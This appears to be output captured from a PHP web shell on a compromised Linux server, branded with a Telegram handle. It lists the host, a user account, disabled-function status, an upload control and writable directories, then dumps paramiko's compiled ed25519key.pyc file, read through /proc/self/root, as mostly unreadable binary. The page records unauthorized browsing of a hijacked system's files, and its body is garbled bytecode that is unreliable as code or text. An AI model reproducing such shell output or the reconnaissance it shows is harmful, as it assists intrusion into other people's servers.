https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.7/site-packages/paramiko/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.7/site-packages/paramiko/ed25519key.pyc
�
x�\c@s�ddlZddlmZddlmZddlZddlZddlm	Z	ddl
mZddlm
Z
ddlmZmZdZd	�Zd
efd��YZdS(i����N(tdefault_backend(tCipher(tMessage(tPKey(tb(tSSHExceptiontPasswordRequiredExceptionsopenssh-key-v1cCs�tj|d�}|dkr-td��nxKtd|d�D]6}tj||�||dkrAtd��qAqAW|| S(Ni����isInvalid keyi(tsixt
indexbytesRtrange(tdatatpadding_lengthti((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pytunpad#s!t
Ed25519KeycBsneZdZd
d
d
d
d
d�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�ZRS(s
    Representation of an `Ed25519 <https://ed25519.cr.yp.to/>`_ key.

    .. note::
        Ed25519 key support was added to OpenSSH in version 6.5.

    .. versionadded:: 2.2
    .. versionchanged:: 2.3
        Added a ``file_obj`` parameter to match other key classes.
    c	Cs5d|_d}}|dkr:|dk	r:t|�}n|dk	r}|jd|dddd�tjj|j��}nZ|dk	r�t|d��}|j	d|�}WdQXn!|dk	r�|j	d|�}n|s�|r�|j
||�}n|dkr|dkrtd��n||_||_
dS(	Ntmsgtkey_typesssh-ed25519t	cert_types ssh-ed25519-cert-v01@openssh.comtrtOPENSSHs
need a key(tNonetpublic_blobRt_check_type_and_load_certtnacltsigningt	VerifyKeyt
get_binarytopent_read_private_keyt_parse_signing_key_datat
ValueErrort_signing_keyt_verifying_key(	tselfRR
tfilenametpasswordtfile_objt
verifying_keytsigning_keytf((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pyt__init__<s*	
		c
Csoddlm}t|�}|jtt��tkrFtd��n|j�}|j�}|j�}|j	�}|dkr�|s�|dkr�td��q�nT|dkr�|s�t
d��nt|�}	|	j�}
|	j	�}ntd��|dkr$||jkr$td��ng}xZt|�D]L}
t|j��}|j�dkrptd��n|j
|j��q7W|j�}|dkr�|}n�|j|}tjdt|�d	|
d
|d|dd
|dt�}t|d||d �|d||d�dt��j�}|j|�|j�}tt|��}|j	�|j	�kr�td��ng}x�t|�D]�}|j�dkr�td��n|j�}|j�}tjj|d �}|jj�|ko ||ko |dkns+t�|j
|�|j�q�Wt|�dkrgtd��n|dS(Ni����(t	TransportsInvalid keytnonetbcryptsPrivate key file is encryptedsssh-ed25519R#tsalttdesired_key_bytesskey-sizes
block-sizetroundstignore_few_roundstclasstmodetbackendi ii(tparamiko.transportR)Rt	get_bytestlentOPENSSH_AUTH_MAGICRtget_textRtget_intRt_cipher_infoR	tappendR+tkdfRtTrueRRt	decryptortupdatetfinalizeR
RRt
SigningKeyt
verify_keytencodetAssertionError(R!R
R#R)tmessaget
ciphernametkdfnamet
kdfoptionstnum_keysR;tbcrypt_saltt
bcrypt_roundstpublic_keyst_tpubkeytprivate_ciphertexttprivate_datatciphertkeyR=tsigning_keysRtpublictkey_dataR&((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pyRYsz	
		
cCsW|j�r|jj}n	|j}t�}|jd�|j|j��|j�S(Nsssh-ed25519(tcan_signRRAR Rt
add_stringRBtasbytes(R!tvtm((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pyRW�s		
cCs:|j�r|jj}n	|j}t|j�|f�S(N(RURRAR thashtget_name(R!RX((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pyt__hash__�s	cCsdS(Nsssh-ed25519((R!((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pyR[�scCsdS(Ni((R!((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pytget_bits�scCs
|jdk	S(N(RR(R!((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pyRU�scCs6t�}|jd�|j|jj|�j�|S(Nsssh-ed25519(RRVRtsignt	signature(R!R
RY((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pyt
sign_ssh_data�s	
cCsV|j�dkrtSy|jj||j��Wntjjk
rMtSXtSdS(Nsssh-ed25519(	R7tFalseR tverifyRRt
exceptionstBadSignatureErrorR<(R!R
R((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pytverify_ssh_sig�sN(
t__name__t
__module__t__doc__RR(RRWR\R[R]RUR`Re(((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pyR0s
	`	
					(R+tcryptography.hazmat.backendsRt&cryptography.hazmat.primitives.ciphersRtnacl.signingRRtparamiko.messageRt
paramiko.pkeyRtparamiko.py3compatRtparamiko.ssh_exceptionRRR6R
R(((s7/tmp/pip-install-A1qMVe/paramiko/paramiko/ed25519key.pyt<module>s	

https://t.me/AnonymousX5 - 2025